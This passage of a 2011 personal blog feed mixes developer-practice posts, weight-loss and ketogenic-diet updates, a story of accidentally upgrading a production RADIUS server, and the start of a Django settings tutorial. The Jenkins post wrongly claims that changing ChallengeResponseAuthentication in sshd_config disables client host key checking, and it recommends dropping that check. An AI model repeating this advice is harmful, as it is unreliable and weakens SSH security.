&lt;p>This is a tip I picked up from &lt;a href="http://www.amazon.com/gp/product/020161622X/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=020161622X&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Pragmatic Programmer">The Pragmatic Programmer&lt;/a> book (definitely
required reading for any programmer). Always, and I mean always, setup your
continuous deployment system before writing code.&lt;/p>
&lt;p>What do I mean by continuous deployment? Well, before you start coding your
project, you should have a system set up that lets you deploy your project code
into production (and preferably staging and development environments as well).
This way, as you write your code, you&amp;rsquo;ll have the peace of mind that comes with
knowing your project can be deployed at any moment.&lt;/p>
&lt;p>In a lot of programming work flows, this can save tons of development time.
Instead of &lt;code>scp&lt;/code>&amp;lsquo;ing your project to some testing environment (or worse, coding
directly on a live server), you can just push your code to your preferred
source control system, and let your continuous deployment system take care of
the rest. It may not seem like much of a time saver&amp;ndash;but if you consider the
amount of time it takes, day after day, to copy your code over and do testing
manually, it can quickly add up and save hours of time each month.&lt;/p>
&lt;h2 id="rule-2-write-tests-first">Rule 2: Write Tests First&lt;/h2>
&lt;p>If you&amp;rsquo;ve never heard of test-driven development (TDD), please read the
&lt;a href="http://en.wikipedia.org/wiki/Test-driven_development" title="test-driven Development Wiki">Wikipedia article&lt;/a> on it immediately. If someone is paying you to write
software, and you&amp;rsquo;ve got a deadline, then you need to be practicing TDD at all
times.&lt;/p>
&lt;p>The basic concept of test-driven development is that before writing project
code, you write a simple piece of code that tests your hypothetical project
code for desired behavior. For example, let&amp;rsquo;s say your project requires you to
write a function that adds two numbers, and returns the sum of these numbers.
Before writing that piece of code, you should write a test function,
&lt;code>test_add_two_numbers&lt;/code>, that calls your &lt;code>add_two_numbers&lt;/code> function with various
inputs, and verifies through assertions that the results you get back are
proper.&lt;/p>
&lt;p>This may seem like a bit of a hassle, but it has numerous benefits:&lt;/p>
&lt;ul>
&lt;li>Writing tests first help you clarify your application architecture.&lt;/li>
&lt;li>You have the peace of mind that comes with knowing your code is
operational.&lt;/li>
&lt;li>You&amp;rsquo;re able to easily refactor parts of your project without worrying about
breaking code.&lt;/li>
&lt;li>You can avoid releasing low-quality code, and tarnishing your reputation.&lt;/li>
&lt;/ul>
&lt;p>Writing tests certainly takes time and effort, but can save time in the long
run by avoiding emergency bug-fixes, system crashes, etc. Especially when
you&amp;rsquo;re on tight deadlines, you don&amp;rsquo;t want the added stress and worry of buggy
code.&lt;/p>
&lt;h2 id="rule-3-be-transparent">Rule 3: Be Transparent&lt;/h2>
&lt;p>Transparency can be difficult to achieve (depending on your work environment),
but can be greatly beneficial.&lt;/p>
&lt;p>In order to be transparent, you need to make sure that you have a clear line of
communication with the clients receiving your code. You need to keep them
updated regularly as to what is being worked on, and how far along progress is.
Bonus points if you can continuously deploy your code to a staging system where
clients can view the unfinished project and see how it is changing day after
day.&lt;/p>
&lt;p>If you&amp;rsquo;re able to maintain transparency with your boss(es), they&amp;rsquo;re much more
likely to be understanding if deadlines need to be pushed back. Non-engineers
often don&amp;rsquo;t understand software development, and view it as a black-box art.
By maintaining clear communication and transparency with your clients, and
getting them involved in the process, they&amp;rsquo;ll be more understanding of your
work, and they&amp;rsquo;ll feel happier about the product they&amp;rsquo;re getting developed.&lt;/p>
&lt;h2 id="rule-4-maintain-daily-todo-lists">Rule 4: Maintain Daily TODO Lists&lt;/h2>
&lt;p>Time management is definitely out of the scope of this article, but I will
mention that maintaining a daily TODO list is one of the best things you can do
as a programmer to ensure things are progressing forward at all times.&lt;/p>
&lt;p>Software development is an immensely complex task. It requires years of
practice, patience, and discipline to become a good programmer, and you are
never finished learning. When writing software on a deadline, more often than
not, you&amp;rsquo;re writing a complex system. In order to keep your head clear, and
allow you the maximum amount of programming power, you should maintain a daily
TODO list consisting of each individual task that needs to be accomplished
(code-wise) in the day.&lt;/p>
&lt;p>Don&amp;rsquo;t make overly vague TODO items such as &amp;ldquo;debug sound problem&amp;rdquo;, really think
it through, and write out the full task in numerous steps. For example:&lt;/p>
&lt;ul>
&lt;li>Write a unit test for the &lt;code>load_soundfile&lt;/code> function that checks to see if
mp3s are playable.&lt;/li>
&lt;li>Write a unit test for the &lt;code>load_soundfile&lt;/code> function that checks to see if
wav files crash when loading.&lt;/li>
&lt;li>Create new feature branch, &lt;code>design_update&lt;/code>, to hold the new web design
templates.&lt;/li>
&lt;li>Update &lt;code>style.css&lt;/code> using the new web design templates.&lt;/li>
&lt;/ul>
&lt;p>Having a clear list of actionable items gives you the power to focus on a
single task at a time, without having to balance 100 or so next-steps in your
head. Writing software is complex enough already, don&amp;rsquo;t make your life more
difficult!&lt;/p>
&lt;h2 id="rule-5-do-the-right-thing">Rule 5: Do the Right Thing&lt;/h2>
&lt;p>There will undoubtedly be circumstances that arise which make you nervous and
uncomfortable. Did you procrastinate yesterday and skip writing the unit tests
for your new features? When these situations arise, don&amp;rsquo;t go with your
instinct. Instead&amp;ndash;do the right thing.&lt;/p>
&lt;p>Whether you need to double back and revisit some old code, write some more test
cases, or even delay a deadline&amp;ndash;do it. As a professional engineer, it&amp;rsquo;s your
job to deliver working code consistently, even if that means you&amp;rsquo;ve got to make
tough choices.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Being a software developer is no easy task. Our world is filled with constant
challenge and hardship, and only our discipline and preparedness can help us
push through the hard times, and prosper in the good times. Always use your
best judgement, and beat the deadlines by using steadfast engineering
practices, and never giving in to anything less.&lt;/p>
&lt;p>You can do it.&lt;/p></description></item><item><title>Enjoying the Grind</title><link>https://rdegges.com/2011/enjoying-the-grind/</link><pubDate>Mon, 06 Jun 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/enjoying-the-grind/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/enjoying-the-grind/runner-sketch.png" alt="Runner Sketch" title="Runner Sketch">
&lt;/p>
&lt;p>A big part of accomplishing awesome things is dealing with the daily grind that
makes them possible. Chances are, if you&amp;rsquo;re attempting to do something
awesome, the steps that take you there won&amp;rsquo;t be easy&amp;ndash;after all, if things
weren&amp;rsquo;t difficult, they wouldn&amp;rsquo;t be alluring. Doing great things requires lots
of hard work, dedication, commitment, and perseverance&amp;ndash;there&amp;rsquo;s no way around
it.&lt;/p>
&lt;p>One of my goals since last October has been to lose weight (specifically, to
get down to 10% body fat). To me, that&amp;rsquo;s a worthwhile goal. It will help me
feel confident in myself, proud of my hard work, and teach me lots of new
things along the way. Since October, I&amp;rsquo;ve lost ~80 lbs, and ~11% of my body
fat (down from 35% to 24%).&lt;/p>
&lt;p>The daily grind was not easy (or pleasurable). It was extremely difficult to
get used to at first&amp;ndash;eating less fast food, exercising, gradually learning
more about proper diet and nutrition. Self-discipline is a difficult thing to
build, especially when you&amp;rsquo;ve never had any before. But over the weeks and
months I&amp;rsquo;ve come to enjoy the daily grind. I now enjoy reading new nutrition
and health books, and learning how the body works. I enjoy preparing, cooking,
and eating my own healthy meals. And I even look forward to pushing myself
harder and harder during workouts.&lt;/p>
&lt;p>Struggling through my weight loss journey has really changed my perspectives on
a lot of things. Most notably, the daily grind.&lt;/p>
&lt;p>Throughout my life, I was always told to dream big, and reach for the stars,
but I had no idea &lt;em>how to&lt;/em>. When I started losing weight, I would just tell
myself &amp;ldquo;ok, only XXX more days of diet and exercise till you get there&amp;rdquo;. It
worked (mainly because I was so determined at first), but wasn&amp;rsquo;t sustainable.
Instead of viewing every day as a chore, you should view it as an opportunity.
After I started losing weight and feeling better, I realized that what I wanted
wasn&amp;rsquo;t to just &amp;lsquo;be thin&amp;rsquo; or &amp;lsquo;be in better shape&amp;rsquo;, but that I wanted the
willpower to make good choices, and have the persistence to keep making them,
over and over again. It is the sum of your actions that define who you are&amp;ndash;
the little things you do everyday that contribute to your character,
personality, and pride.&lt;/p>
&lt;p>Now-a-days, instead of looking at diet and exercise as a chore, I view it as an
opportunity. An opportunity to become a better person, to transcend my limits,
and build myself into the person I want to someday be. When I make a decision
to do something, whether it be health, personal, or work related&amp;ndash;I now realize
that it is up to me to determine the outcome. All the hard work, frustration,
and disappointments along the way are what make the journey worthwhile. It&amp;rsquo;s
the growing you do as you work towards your goals that makes you happy.&lt;/p></description></item><item><title>Simplifying My Jenkins Work Flow</title><link>https://rdegges.com/2011/simplifying-my-jenkins-work-flow/</link><pubDate>Wed, 01 Jun 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/simplifying-my-jenkins-work-flow/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/simplifying-my-jenkins-work-flow/arrow-sketch.png" alt="Arrow Sketch" title="Arrow Sketch">
&lt;/p>
&lt;p>Up until recently, my &lt;a href="http://jenkins-ci.org/" title="Jenkins">Jenkins&lt;/a> work flow has been tedious. It typically
went something like:&lt;/p>
&lt;ol>
&lt;li>Install Jenkins instance, fully configure it the way I want.&lt;/li>
&lt;li>Setup a few new projects to start building / testing / deploying.&lt;/li>
&lt;li>Spin up a new application server to deploy my project to.&lt;/li>
&lt;li>Watch my Jenkins deploy fail, as I forgot to accept my new server&amp;rsquo;s SSH
identity manually.&lt;/li>
&lt;li>Log into my Jenkins server as the &lt;code>jenkins&lt;/code> user.&lt;/li>
&lt;li>Run &lt;code>ssh &amp;lt;new_server_ip&amp;gt;&lt;/code>, and accept the stupid identity.&lt;/li>
&lt;/ol>
&lt;p>At work, we&amp;rsquo;re constantly building out new servers&amp;ndash;sometimes, automatically.
And Jenkins is a critical part of our infrastructure. We use it to build,
test, then &lt;strong>deploy&lt;/strong> all of our code straight into production. When we spin
up new servers, the process looks like this:&lt;/p>
&lt;ol>
&lt;li>New server is booted.&lt;/li>
&lt;li>New server is bootstrapped with &lt;a href="https://puppetlabs.com/" title="puppet">puppet&lt;/a> configurations.&lt;/li>
&lt;li>New server auto-configures itself according to our puppet node rules.&lt;/li>
&lt;li>Project deployment script is updated to include new server.&lt;/li>
&lt;li>We push an update to our code to GitHub.&lt;/li>
&lt;li>Jenkins pulls the latest code changes, tests the code, then attempts to
deploy it to our new server.&lt;/li>
&lt;/ol>
&lt;p>This is where the problems happen&amp;ndash;since we haven&amp;rsquo;t manually verified the
identity of our new server, our Jenkins box will just start failing builds
since it won&amp;rsquo;t SSH into a server before accepting the identity.&lt;/p>
&lt;h2 id="the-fix">The Fix&lt;/h2>
&lt;p>To remove the hassle of manually accepting each server&amp;rsquo;s identity, we recently
decided to do away with the identity check all together to make our lives
easier. This solution may not work for everyone (especially if security is a
real concern for your team), but for us it works great!&lt;/p>
&lt;p>Just modify your &lt;code>/etc/ssh/sshd_config&lt;/code> file and change&lt;/p>
&lt;p>&lt;code>ChallengeResponseAuthentication yes&lt;/code>&lt;/p>
&lt;p>To&amp;hellip;&lt;/p>
&lt;p>&lt;code>ChallengeResponseAuthentication no&lt;/code>&lt;/p>
&lt;p>This will let your SSH client completely ignore the remote machine&amp;rsquo;s identity
when ssh&amp;rsquo;ing into an unknown server. This is great for us, since we&amp;rsquo;re
constantly building out new servers automatically, and we&amp;rsquo;re willing to accept
the associated risk.&lt;/p></description></item><item><title>I Want to Be a Renaissance Man</title><link>https://rdegges.com/2011/i-want-to-be-a-renaissance-man/</link><pubDate>Mon, 30 May 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/i-want-to-be-a-renaissance-man/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/i-want-to-be-a-renaissance-man/davinci-sketch.png" alt="DaVinci Sketch" title="DaVinci Sketch">
&lt;/p>
&lt;p>Throughout my life, I&amp;rsquo;ve been extremely interested in several different things:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Skateboarding.&lt;/strong> When I was in elementary and middle school, I was
obsessed with skateboarding. I remember falling asleep every night
dreaming about skateboarding, waiting for school to end so I could
skateboard, and scheming up new ways to get money to buy skateboarding
equipment.&lt;/li>
&lt;li>&lt;strong>Video Games.&lt;/strong> When my family got our first computer system, it was
preloaded with &lt;a href="http://en.wikipedia.org/wiki/Wolfenstein_3D" title="Wolfenstein 3D Wiki">Wolfenstein 3D&lt;/a>, Tyrant, and several other games. I was
immediately addicted to them. My brother and I would go to extraordinary
lengths to extend our daily computer time beyond the 1 hour my parents
alloted to us, and we would eventually dominate both games, and unlock all
the fun cheat codes. And don&amp;rsquo;t even get me started on Diablo II and
Starcraft. I played those games so much that I seriously consider them a
large part of my youth.&lt;/li>
&lt;li>&lt;strong>Programming.&lt;/strong> After video games got old, programming engulfed my life.
Since learning my first language, I&amp;rsquo;ve spent countless hours reading
programming blogs, books, and tutorials. I&amp;rsquo;ve written hundreds (if not
thousands) of individual programs (in numerous languages), and quite a few
technical articles on various topics. In high school, I gave my first ever
technical presentation to the computer club, describing what
&lt;a href="http://en.wikipedia.org/wiki/One-time_pad" title="One-time Pad Encryption Wiki">one-time pad&lt;/a> encryption is, and showing off my C implementation.&lt;/li>
&lt;li>&lt;strong>Fitness.&lt;/strong> In October 2009 I decided to change my appearance. I got rid
of all junk food, started exercising, and haven&amp;rsquo;t looked back. Ever since
I got started with my new lifestyle changes I&amp;rsquo;ve been learning more and
more about diet, nutrition, and exercise regiments.&lt;/li>
&lt;/ul>
&lt;p>Unfortunately, I&amp;rsquo;ve always considered myself something of a single-minded
person. I often associate myself with the stereotypical computer geek&amp;ndash;
spending 24 hours a day on the computer, unable to cope with social situations,
and obsessed with computers. &lt;em>I don&amp;rsquo;t want to be that person anymore.&lt;/em>
Instead of being capable in only a few target areas, I want to be great at
everything. I want to be universally knowledgeable, and be able to have a
great impact on whatever I decide to participate in.&lt;/p>
&lt;p>&lt;strong>I want to be a renaissance man.&lt;/strong>&lt;/p>
&lt;p>What I&amp;rsquo;ve realized is that I&amp;rsquo;ve been limiting myself. Instead of challenging
myself to grow and learn new things, I&amp;rsquo;ve placed artificial borders around
myself. Instead of trying new things in my life, I&amp;rsquo;ve rejected them because
they don&amp;rsquo;t seem to be something a computer geek would do. No more of that.&lt;/p>
&lt;p>I really enjoy learning things. All sorts of things. Over the past few months
I&amp;rsquo;ve been increasingly interested in personal development, organization,
bodybuilding, music, travel, astronomy, business, entrepreneurship and design.
From now on, I&amp;rsquo;ll allow myself to explore new things, learn as much as possible
about them, and develop my skill sets. There is no reason why I should limit
myself to being an expert in only a few areas. If I step up my game&amp;ndash;live with
strict discipline and organization, then there is no reason I can&amp;rsquo;t learn
everything there is to know.&lt;/p>
&lt;p>As I begin to build my new life, I&amp;rsquo;ll be sure to write about it. The
adventures are just beginning!&lt;/p></description></item><item><title>Diet Updates</title><link>https://rdegges.com/2011/diet-updates/</link><pubDate>Sun, 01 May 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/diet-updates/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/diet-updates/steak-sketch.png" alt="Steak Sketch" title="Steak Sketch">
&lt;/p>
&lt;p>Exactly 1 month ago, I decided to try a new diet regime. Over the past 7
months now I&amp;rsquo;ve been slowly losing weight, trying to get down to my goal weight
of 175lbs before doing some more serious bodybuilding type stuff.&lt;/p>
&lt;p>Last month I decided to go on a strict ketogenic diet. This basically involves
eating less than 30 grams of carbohydrates a day, which forces your metabolism
to break down fat tissue for energy instead of glucose in your blood stream.
Not consuming carbohydrates also helps to strictly control your insulin levels,
which spike up (allowing your body to store fat) when you consume carbs.&lt;/p>
&lt;p>If you want to read more about ketosis, check out the &lt;a href="http://en.wikipedia.org/wiki/Ketogenesis" title="Ketosis Wiki Page">wikipedia article&lt;/a> or
this &lt;a href="http://forum.bodybuilding.com/showthread.php?t=132598293" title="Ketosis Summary">good summary&lt;/a>.&lt;/p>
&lt;h2 id="first-month-results">First Month Results&lt;/h2>
&lt;p>For the past month I&amp;rsquo;ve been on a strict keto diet. No cheat meals, nothing.
It was a lot easier than I thought it would be. I didn&amp;rsquo;t crave any sugary
foods for the last several weeks, and I&amp;rsquo;ve been feeling great the entire time.
Overall, I feel more energetic, and a lot more stable throughout the day.&lt;/p>
&lt;p>When I weighed in exactly 1 month ago I was at exactly &lt;strong>244.0 lbs&lt;/strong>. This
morning I weighed in at exactly &lt;strong>227.2 lbs&lt;/strong>. Over the past month I&amp;rsquo;ve lost
&lt;strong>more than half a pound per day&lt;/strong>! This is a pretty insane amount of weight
loss considering how easy it was to lose the weight.&lt;/p>
&lt;p>The other interesting thing to note is that this entire month, I&amp;rsquo;ve not
exercised as hard as I usually do, and I&amp;rsquo;ve also consumed way more calories
than I was previously.&lt;/p>
&lt;p>Before last month, I was losing weight via calorie restriction (primarily), and
exercise. I was doing high-intensity training 5 days a week, and running the
other days. I was also eating around 1700 calories per day, average.&lt;/p>
&lt;p>This month, I did only a single day of high intensity training. 2 weeks, I did
no exercise, and split amongst the other two weeks, I did biking several days of
the week. My average caloric intake this month was around 2000 calories per
day. I made it a point to eat until full almost every day in the month.&lt;/p>
&lt;h2 id="thoughts">Thoughts&lt;/h2>
&lt;p>I&amp;rsquo;ve really enjoyed maintaining ketosis for a solid month. I&amp;rsquo;ve felt a lot
healthier, happier, and more energetic. Eating fatty foods has been really
easy and tasty, I haven&amp;rsquo;t missed carbs. For now, my original plan remains: I&amp;rsquo;m
going to stay in ketosis until I reach 175 lbs, and then re-structure my diet
to reach my bodybuilding goals.&lt;/p>
&lt;p>I&amp;rsquo;ll post another update at the end of my second month, and hopefully be able
to share more interesting results!&lt;/p></description></item><item><title>The Time I Accidentally Destroyed a Production Server</title><link>https://rdegges.com/2011/the-time-i-accidentally-destroyed-a-production-server/</link><pubDate>Sat, 30 Apr 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/the-time-i-accidentally-destroyed-a-production-server/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/the-time-i-accidentally-destroyed-a-production-server/horseman-sketch.png" alt="Horseman Sketch" title="Horseman Sketch">
&lt;/p>
&lt;p>Over the past few years or so, I&amp;rsquo;ve learned a lot about software in
professional settings. I learned that software development is not always all
it&amp;rsquo;s cut out to be. There are lots of points where software development will
make you want to rip your hair out, light it on fire, and then dance around the
fire screaming curse words.&lt;/p>
&lt;p>Here&amp;rsquo;s a story I&amp;rsquo;ve been saving up for a while. It&amp;rsquo;s a tale of the time I
accidentally destroyed a production server. I hope you enjoy it :)&lt;/p>
&lt;h2 id="what-i-did">What I Did&lt;/h2>
&lt;p>When I first came on board at BTS over year ago, I was working on production
servers. We didn&amp;rsquo;t have any development or staging environments set up at the
time, so I was a bit nervous. We also didn&amp;rsquo;t use any version control at the
time, so there was nothing to be done in case of emergencies.&lt;/p>
&lt;p>In case you&amp;rsquo;re not aware of what BTS does, we operate and build telephony
services of all sorts. At the core of our software is the logging of phone
calls (stuff like &lt;code>timestamp&lt;/code>, &lt;code>duration&lt;/code>, etc.), which allows us to bill our
clients and telephone companies. The way we handle this mission-critical
logging is via &lt;a href="http://freeradius.org/" title="FreeRADIUS">freeradius&lt;/a>. We have all of our telephony servers hooked up
to freeradius, so that it can take the call data and log it to our back end
databases for later retrieval and billing purposes. This typically worked
great, and we had no issues with it. However, if freeradius went down, it
meant that we&amp;rsquo;d not be collecting payment information, and would therefore lose
lots of money.&lt;/p>
&lt;p>At the time, I was working on setting up new freeradius servers. I had spun-up
two new &lt;a href="http://www.rackspace.com/index.php" title="Rackspace">Rackspace&lt;/a> servers: &lt;code>r0&lt;/code> and &lt;code>r1&lt;/code>. The old radius server was named
&lt;code>rad&lt;/code> I believe. My plan was to install the latest and greatest version of
freeradius on &lt;code>r0&lt;/code>, duplicate the setup to &lt;code>r1&lt;/code> as a backup, point our servers
at the new primary and backup radius servers, and get rid of the old one.&lt;/p>
&lt;p>I had three terminal windows opened side-by-side: &lt;code>r0&lt;/code>, &lt;code>rad&lt;/code>, and &lt;code>r1&lt;/code>. At
the time, I thought it made sense to have my reference (the original box) in
the middle of my other two windows, so I could easily switch focus to either of
the two new servers without shifting my eyes over two windows.&lt;/p>
&lt;p>So after a while of reading the latest freeradius documentation, I start
installing the new version on the two new servers. Then I go grab a glass of
water, and come back. As I&amp;rsquo;m sitting down, I type:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> aptitude -y update
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> aptitude -y safe-upgrade
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To update the new &lt;code>r0&lt;/code> server before installing freeradius. As I&amp;rsquo;m watching
the updates run, I notice that there are way too many updates for this to be
normal. I frantically look at the system &lt;code>hostname&lt;/code>, and realize that I just
updated the &lt;em>only&lt;/em> production freeradius server. Panic ensues.&lt;/p>
&lt;p>It&amp;rsquo;s about this time that I remember the version of freeradius running in
production was 1.x, which was completely incompatible with the later 2.x
versions that I had just accidentally upgraded to. The config files were
different, and there was completely different documentation (&lt;em>infact, the 1.x
versions had no official documentation&lt;/em>). Now I&amp;rsquo;m panicking even more.&lt;/p>
&lt;p>I then log into our database server and check to see if call records are still
being added&amp;ndash;they are. &lt;em>Whew&lt;/em>. No information lost yet. Thankfully, the
update didn&amp;rsquo;t replace any configuration files or restart the process.&lt;/p>
&lt;p>So I frantically read through the documentation and default configuration files
for the new 2.x release I had just installed. I sit down for literally 4 hours
straight intently staring and the screen and trying new configuration options.&lt;/p>
&lt;p>Eventually I get the new freeradius server running 2.x configured as close as
possible to the way our old 1.x server was configured. I sweat, and update the
call servers to point to the new radius server.&lt;/p>
&lt;p>To my amazement, &lt;em>it fucking works&lt;/em>. We&amp;rsquo;re back online, logging calls, and no
data was lost. I then duplicate the working setup to &lt;code>r1&lt;/code>, make tons of
backups of my configs, then get rid of the old freeradius server.&lt;/p>
&lt;h2 id="what-i-learned">What I Learned&lt;/h2>
&lt;ul>
&lt;li>No matter what, you always, &lt;strong>always&lt;/strong> need to have a proper development
environment. If you don&amp;rsquo;t, you&amp;rsquo;re committing suicide.&lt;/li>
&lt;li>Version control everything. If you join a project with no version control,
don&amp;rsquo;t convince yourself that everything will be ok. Refuse to do any work
until you version control it. Anything less is disasterous.&lt;/li>
&lt;li>Never log into production servers via a shell. Instead, write a script to
do it. And test your script in development first.&lt;/li>
&lt;/ul>
&lt;p>Immediately after this experience, I setup our development environment. I
duplicated every server we had, and made sure that if something happened, we
would be able to recover.&lt;/p>
&lt;p>Over the past few months working with &lt;a href="https://puppetlabs.com/" title="puppet">puppet&lt;/a>, &lt;a href="http://mmonit.com/monit/" title="monit">monit&lt;/a>, and other really
useful sysadmin tools, we&amp;rsquo;ve built up some pretty nice defenses to protect
against future problems like this. However, I&amp;rsquo;ll still never forget the
incredibly horrible sinking feeling in my stomach when I ran that update
command.&lt;/p></description></item><item><title>The Perfect Django Settings File</title><link>https://rdegges.com/2011/the-perfect-django-settings-file/</link><pubDate>Fri, 29 Apr 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/the-perfect-django-settings-file/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/the-perfect-django-settings-file/turtle-sketch.png" alt="Turtle Sketch" title="Turtle Sketch">
&lt;/p>
&lt;p>I know this isn&amp;rsquo;t the best way to start an article, but &lt;em>I lied&lt;/em>. This article
won&amp;rsquo;t show you how to make the perfect Django settings file. Instead, it will
show you how to build the perfect Django settings &lt;em>module&lt;/em>.&lt;/p>
&lt;p>When I&amp;rsquo;m first starting a new Django project, I like to make sure that my
settings file(s) are crafted in an organized, ideal manner. My settings
file(s) should allow me to:&lt;/p>
&lt;ul>
&lt;li>Maintain as many specific deployment environment settings as I choose in a
clear and separate manner. For example: &lt;em>production&lt;/em>, &lt;em>staging&lt;/em>,
&lt;em>development&lt;/em>, etc.&lt;/li>
&lt;li>Maintain common project settings that are used by all specific deployment
environments. For example: maybe &lt;em>production&lt;/em>, &lt;em>staging&lt;/em>, and
&lt;em>development&lt;/em> all share a common &lt;code>ADMINS&lt;/code> setting. I don&amp;rsquo;t want to
duplicate this code in all of my enviornment specific settings files.&lt;/li>
&lt;li>Easily test and deploy code to each specific environment.&lt;/li>
&lt;/ul>
&lt;h2 id="old-habits-die-hard">Old Habits Die Hard&lt;/h2>
&lt;p>I&amp;rsquo;d like to quickly discuss why I think most people design their settings
file(s) wrong.&lt;/p>
&lt;p>The approach to settings that I see many people take is simplistic&amp;ndash;they&amp;rsquo;ll
define all of their values in their &lt;code>settings.py&lt;/code> file, and then at the bottom
of the file write something like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kn">from&lt;/span> &lt;span class="nn">settings_local&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">except&lt;/span> &lt;span class="ne">ImportError&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">pass&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>What sucks about this approach is that you now need to maintain a file&amp;ndash;in this
case, &lt;code>settings_local.py&lt;/code>, for each of your environments, and it isn&amp;rsquo;t going to
be easy to version control. Why? Because you have two choices in this
scenario of fail:&lt;/p>
&lt;ol>
&lt;li>Don&amp;rsquo;t version control the &lt;code>settings_local.py&lt;/code> files on your various
servers. This sucks because now you&amp;rsquo;ve got stuff like database credentials
that will lay around, and gradually break future deployments when you
forget to update them. It also sucks because you&amp;rsquo;ve got to constantly
worry about that file. It isn&amp;rsquo;t part of your source repository, so you
have to back it up manually, and take special care of it.&lt;/li>
&lt;li>Version control the &lt;code>settings_local.py&lt;/code> files for each environment you
have, and then manually change the &lt;code>settings.py&lt;/code> file (or &lt;code>__init__.py&lt;/code>
file) in your project folder on each server. Now you&amp;rsquo;ve got the same
problem as before&amp;ndash;you&amp;rsquo;ve got to manually manage some source files, and
constantly worry about breaking shit.&lt;/li>
&lt;/ol>
&lt;p>&lt;em>There is a better way!&lt;/em>&lt;/p>
&lt;h2 id="write-a-settings-module">Write a Settings Module&lt;/h2>
&lt;p>Instead of maintaining multiple flat settings files, build a settings module.
Go ahead and &lt;code>rm&lt;/code> your &lt;code>settings.py&lt;/code> file, and in its place, create a new
directory, called &lt;code>settings&lt;/code>, and put in a blank &lt;code>__init__.py&lt;/code> file to start.&lt;/p>
&lt;p>The goal here will be to do meet all the criteria that I defined in the
beginning of this article. In order to meet all those requirements, we need
to:&lt;/p>
&lt;p>Define a &lt;code>common.py&lt;/code> file inside of our settings module. This file will
contain all of our &amp;lsquo;shared&amp;rsquo; settings between all environments. For example:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Common settings and globals.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">os.path&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">abspath&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">basename&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">dirname&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">join&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">normpath&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">helpers&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">gen_secret_key&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## PATH CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Absolute filesystem path to this Django project directory.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DJANGO_ROOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">dirname&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dirname&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">abspath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="vm">__file__&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Site name.&lt;/span>
